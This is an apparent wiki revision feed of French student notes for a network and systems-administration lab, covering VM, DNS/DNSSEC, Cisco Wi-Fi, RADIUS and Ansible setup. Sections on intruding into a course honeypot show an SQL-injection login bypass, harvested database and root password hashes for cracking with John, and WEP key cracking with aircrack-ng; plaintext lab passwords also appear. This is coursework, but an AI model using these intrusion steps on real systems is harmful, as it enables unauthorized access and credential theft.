          BalancerMember &amp;quot;http://192.168.42.12:8087&amp;quot; route=6&lt;br /&gt;
	  ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
  ProxyPass &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
  ProxyPassReverse &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55021</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55021"/>
				<updated>2020-12-18T23:32:31Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Équilibreur de charge (load balancer) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (commande &amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On va créer plusieurs rôles qui seront lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
